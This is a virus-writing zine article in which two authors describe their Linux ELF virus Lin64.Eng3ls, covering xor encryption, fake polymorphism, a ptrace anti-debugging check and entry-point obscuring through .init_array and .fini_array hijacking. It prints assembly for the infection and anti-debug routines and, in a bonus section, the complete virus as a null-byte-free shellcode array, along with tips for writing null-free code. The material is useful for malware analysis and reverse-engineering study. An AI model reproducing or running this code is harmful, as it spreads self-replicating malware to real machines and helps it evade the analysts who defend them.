┌───────────────────────┐
                                                            ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                            │ █   █ █ █ █   █       │
                                                            │ █   █ █ █ █▀▀▀▀       │
                                                            │ █   █   █ █     ▄     │
                                                            │                 ▄▄▄▄▄ │
                                                            │                 █   █ │
                                                            │                 █   █ │
                                                            │                 █▄▄▄█ │
                                                            │                 ▄   ▄ │
                                                            │                 █   █ │
                                                            │                 █   █ │
                                                            │                 █▄▄▄█ │
                                                            │                 ▄▄▄▄▄ │
                                                            │                   █   │
Lin64.Eng3ls: Some anti-RE techniques in a Linux virus      │                   █   │
~ S01den & sblip                                            └───────────────────█ ──┘

Written with love by S01den.
mail: S01den@protonmail.com

--- Introduction ---

With Sblip, we worked during a whole week-end on Lin64.Eng3ls for a private event.
Eng3ls is basically Lin64.Kropotkine[0], the infection method is still the same good
old PT_NOTE to PT_LOAD segment, but we added some obfuscation techniques.

Indeed, Kropotkin isn't stealth at all: the entrypoint of infected binaries is
modified to directly point to the virus and the viral code is clear (so easy to
analyse...).

To solve these problems, we made a oligomorphic xor decryptor/encryptor (not fancy at
all I know...) for the virus body, the key changing in every new infected binary so
that every replicated code is different.

However this poor man's polymorphism has the great disavantage that the decryptor's
code doesn't change.

Thus, without more witchcraft, a reverser would understand very quickly how the
virus is encrypted, and what it does.

That's why I've implemented for the first time in one of my virus, the polymorphic
false-disassembly technique (or simply "fake polymorphism") in order to obfuscate
the decryptor.

Check the paper I wrote about this technique to see how it works and the results!
(basically turn the page of the zine)

But there was still a problem: the entrypoint of infected binaries directly points
to the virus, that's not stealth at all!
Let's see how we've solved this...

--- An Entry-Point Obscuring Technique for ELF ---

/!\ This technique doesn't work with PIE binaries /!\

Entrypoint Obscuring is simply the action, for a virus, to hide the address of it's
first instruction.

In non-EPO viruses, the entrypoint of an infected program is modified to point to 
the beginning of the virus, whereas in EPO viruses, the virus is called in another
way, whether by hiding a jump in the host's code or by, like here, abusing a 
specificity of the executable file format.

In ELFs the entrypoint is, in fact, not the first address to be executed when the 
program is run.

There is some glibc initialization routines, which ultimately load main().

I won't explain in details how it works, there is already a cool paper about[1].
Just keep in mind that we'll hijack the sections .init_array and .fini_array, which
respectively contains a pointer to the constructor and a pointer to the destructor
of the binary.

Thus, the address of the code located in .init_array is executed before the 
EntryPoint. That's exactly the kind of thing we wanted to have!

I chose to implement a tiny anti-debugging technique first, a ptrace check to see if
the current process is traced (so debugged or straced) or not.
The classical "if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(0);"...
Easy to bypass (patch the virus or set rax = 0 in gdb at the comparaison)...
So I made it "hard" (not really) to detect!

------------------------- CUT-HERE --------------------------------------------------
check_dbg:
    push rbp
    mov rbp, rsp

    jmp jmp_over4+2
    jmp_over4:
      db `\x41\xba` ; false disassembly
    mov rax, 101 ; sys_ptrace
    xor rdi, rdi ; PTRACE_TRACEME
    xor rsi, rsi
    xor r10, r10
    xor rdx, rdx
    inc rdx
    jmp jmp_over6+2
    jmp_over6:
      db `\xe9\x94` ; false disassembly
    syscall

    jmp jmp_over5+2
    jmp_over5:
      db `\x49\x81` ; false disassembly
    cmp rax, 0
    jge continue
    mov rax, 60
    xor rdi, rdi
    syscall

    continue:
    pop rbp
    ret
-------------------------------------------------------------------------------------

I wrote some false-disassembly bytes (changing at ever new infection) in the routine
and I made it called before main() by abusing .init_array.
Thus, if debugged, the virus stops its execution, even with a breakpoint on the
entrypoint.

Concerning the virus in itself, I made it called at the end, by abusing .fini_array.
Here is the routines I wrote for parsing the section header table in the search
of .init_array and .fini_array, and for patching them.

------------------------- CUT-HERE --------------------------------------------------
parse_shdr:
  xor rcx, rcx
  xor rdx, rdx
  mov cx, word [rax+e_hdr.shnum]     ; rcx = # of entries in the program header table
  mov rbx, qword [rax+e_hdr.shoff]   ; rbx = offset of the program header table
  mov dx, word [rax+e_hdr.shentsize] ; rdx = size of a program header table entry

  loop_shdr:
    add rbx, rdx
    dec rcx
    cmp dword [rax+rbx+e_shdr.type], 0x0E ; 0x0F = SHT_INIT_ARRAY, the section we're 
                                          ; looking to modify to put the debugging 
                                          ; check (.init_array)
    je ctor_found
    cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, the section we're 
                                          ; looking to modify to EPO (.fini_array)
    je dtor_found
    cmp rcx, 0
    jg loop_shdr

dtor_found:
  mov rdi, qword [rax+rbx+e_shdr.offset]
  mov [rax+rdi], r9 ; r9 holds the addr of the converted segment, the one where we
                    ; are writing the virus
  jmp write_vx

ctor_found:
  mov rdi, qword [rax+rbx+e_shdr.offset]
  add r9, 0x86 ; r9+0x86 = the addr where check_dbg begins
  mov [rax+rdi], r9
  sub r9, 0x86
  jmp loop_shdr
-------------------------------------------------------------------------------------

--- Conclusion ---

Entrypoint modification is lame, use EntryPoint Obscuring tricks such as .init_array
or .fini_array hijacking instead.

Add some funny anti-RE tricks to spice your viruses: a pinch of encryption here, a
spoonful of debugger detection over there...

I hope you enjoyed this article and that you learned something.

If you want to go further, I wrote a crackme using the same anti-reverse-engineering
techniques that eng3ls uses.

Check that here: https://crackmes.one/crackme/6049f27f33c5d42c3d016dea

--- Bonus ---

I wrote a null-byte free version of this virus.
Null-byte free code + Position Independent = shellcode \o/
So here is a shellcode version of the virus:

unsigned char shellcode[] = 
    "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc9\x4d"
    "\x31\xc0\x49\x89\xe6\x48\x81\xc4\xe8\xc3\x11\x11\x48\x81\xec\xde"
    "\xc0\x11\x11\x49\x89\xe7\xeb\x7c\x58\x48\x2d\x87\xc1\x11\x11\x48"
    "\x05\xde\xc0\x11\x11\x50\x41\x5c\x68\xe8\xc3\x11\x11\x5e\x48\x81"
    "\xee\xde\xc0\x11\x11\x48\x81\xc6\xe8\xc3\x11\x11\x48\x81\xee\xde"
    "\xc0\x11\x11\x48\x31\xff\x6a\x07\x5a\x6a\x22\x41\x5a\x6a\x09\x58"
    "\x0f\x05\x48\x89\xc3\x56\x59\xb0\x54\x48\x31\xd2\x41\x8a\x14\x3c"
    "\x48\x81\xc7\xde\xc0\x11\x11\x48\x81\xff\x86\xc1\x11\x11\x76\x02"
    "\x30\xc2\x48\x81\xef\xde\xc0\x11\x11\x88\x14\x3b\x48\xff\xc7\xe2"
    "\xdb\x49\x89\xdf\x48\x81\xc3\x87\xc1\x11\x11\x48\x81\xeb\xde\xc0"
    "\x11\x11\xff\xe3\xe8\x7f\xff\xff\xff\x1c\xd5\x90\x5e\x57\x54\x54"
    "\x1c\xd5\x90\x5e\x57\x54\x54\x1c\xd5\x90\x54\x55\x54\x54\xbd\x6b"
    "\x56\x54\x54\x0b\xec\x56\x54\x54\x54\x1c\x65\xa2\x5b\x51\x1c\xdd"
    "\x93\xec\x8d\x54\x54\x54\x1c\xdd\xb2\xee\x54\x50\x54\x54\x5b\x51"
    "\x1c\xd7\xac\x54\x5b\xd8\xb1\x55\x54\x54\x1d\xdd\x91\x1c\x65\x8f"
    "\x1c\xdd\xb4\x1c\xd7\x94\x47\x1c\xdd\x92\xeb\x55\x54\x54\x54\x1c"
    "\x65\x9d\xde\x18\x70\x46\x07\xbc\x42\x54\x54\x54\x0f\x32\xdf\x10"
    "\x70\x44\x1c\x55\x97\x1c\x55\x90\x18\x6d\xbf\x28\x87\xbd\xf9\x55"
    "\x54\x54\x1c\xdd\xb1\x1c\xd7\xad\x5c\x21\x05\x1c\xdd\xa3\xec\x56"
    "\x54\x54\x54\xea\x56\x50\x54\x54\x5b\x51\x1c\xd7\xac\x54\x2a\x68"
    "\x1c\xdd\x97\x1c\xdd\xb2\x18\x7d\xba\xec\x50\x54\x54\x54\x5b\x51"
    "\x1d\xdd\x8c\x1c\xdf\x22\x64\xeb\x54\x54\x54\x54\xee\x52\x54\x54"
    "\x54\x19\x65\x9d\x15\xee\x55\x54\x54\x54\x1c\x65\x94\xec\x5d\x54"
    "\x54\x54\x5b\x51\xd5\x6c\x2b\x11\x18\x12\x20\x45\xec\x57\x54\x54"
    "\x54\x1c\xdd\x8b\x5b\x51\x1c\x65\x94\x1c\xdd\xb8\x97\xd4\x2c\x50"
    "\x56\x20\x56\xbf\xb3\x32\xd7\x2c\x44\x56\x20\x56\xbf\x8a\xd5\x2c"
    "\x5d\x8a\x94\xf9\x8a\x21\x53\x1c\x65\x94\x1c\xdd\xb8\x97\x1c\x65"
    "\x9d\x1c\x65\x86\x32\xdf\x1c\x6c\x1c\xdf\x0c\x74\x32\xdf\x04\x62"
    "\x1c\x55\x87\x1c\xab\x9d\xd7\x68\x4c\x50\x20\x52\x1c\xd7\xad\x54"
    "\x2b\xba\x93\x14\x5d\x8a\x94\xf9\x8a\x93\x50\x4c\x55\x54\x54\x54"
    "\x93\x10\x4c\x50\x53\x54\x54\x54\x15\xed\x54\x54\x54\x58\x1d\x55"
    "\xa5\x18\xdd\x18\x4c\x44\x1c\xdf\x28\x4c\x74\x1c\xd5\x93\x5e\x57"
    "\x54\x54\x1c\xdd\x28\x4c\x74\x1c\xdf\x28\x4c\x7c\x1c\xd5\x93\x5e"
    "\x57\x54\x54\x1c\xdd\x28\x4c\x7c\x1c\xdd\x20\x4c\x5c\x1c\x65\x9d"
    "\x1c\x65\x86\x32\xdf\x1c\x68\x1c\xdf\x0c\x7c\x32\xdf\x04\x6e\x1c"
    "\x55\x87\x1c\xab\x9d\xd7\x28\x4c\x50\x5b\x20\x52\x1c\xd7\xad\x54"
    "\x2b\xb9\x1c\xdf\x28\x4c\x4c\x18\xdd\x58\x6c\xee\x50\x54\x54\x54"
    "\x1c\xdd\x93\xec\x4e\x54\x54\x54\x5b\x51\xec\x5f\x54\x54\x54\x5b"
    "\x51\x5b\x65\x32\x61\xf9\x8a\x15\xde\x1b\x3c\x15\xdc\x13\x3c\x1c"
    "\x65\x86\x1c\x65\x8f\x15\xde\x48\x43\x15\xdc\xc8\x43\x5e\x57\x54"
    "\x54\x1c\xab\x96\x1c\xd5\xae\xfd\x54\x54\x54\x21\xbc\x15\xde\x48"
    "\x43\x64\x97\x15\xdc\xc8\x43\x5e\x57\x54\x54\x1c\xab\x96\x1c\xd5"
    "\xae\x5e\x57\x54\x54\x21\xb2\x18\xdd\x93\x18\xdd\xaa\x1c\xd5\x92"
    "\x5e\x57\x54\x54\xee\x5e\x57\x54\x54\x1c\xd7\x96\x7a\xec\x55\x54"
    "\x54\x54\x5b\x51\xec\x57\x54\x54\x54\x5b\x51\x1c\xdd\xb8\x97\xec"
    "\x55\x54\x54\x54\x1c\x65\xab\x1c\xab\x93\x3c\x5e\x0c\x0b\x0c\x1c"
    "\xdd\xb2\xee\x50\x54\x54\x54\x5b\x51\xec\x68\x54\x54\x54\x5b\x51"
    "\x1c\x65\x9d\x1c\x65\x8f\x1c\x65\x94\x1c\x65\x86\x97\x1c\xdf\x50"
    "\x70\x97\xbc\xe8\xa9\xab\xab\x7a\x54\x54";

Don't be stupid, don't spread this shit into the wild.
We don t take responsibility for what you do with this

--> two techniques to write nullbytes-free codes:

1) Replace mov instructions by push.
Example:

b809000000     mov eax, 9  ----> 6a09 push 0x9
                                 58   pop rax
2) The add/sub technique:
Sometimes the values you add to a register involves nullbytes.
You can remove them by adding and subbing a garbage value.
Example:

4881c4890300  add rsp, 0x389  ----> 4881c4e8c311  add rsp, 0x1111c3e8
          ^                         // 0x1111c3e8 = 0x389 + 0x1111c0de
                                    4881ecdec011  sub rsp, 0x1111c0de


--- Notes and References ---
[0] https://github.com/vxunderground/MalwareSourceCode
      /blob/main/VXUG/Linux.Kropotkine.asm
[1] Abusing .CTORS and .DTORS for fun 'n profit
    https://www.exploit-db.com/papers/13234

--- Source ---

- Linux.Eng3ls.asm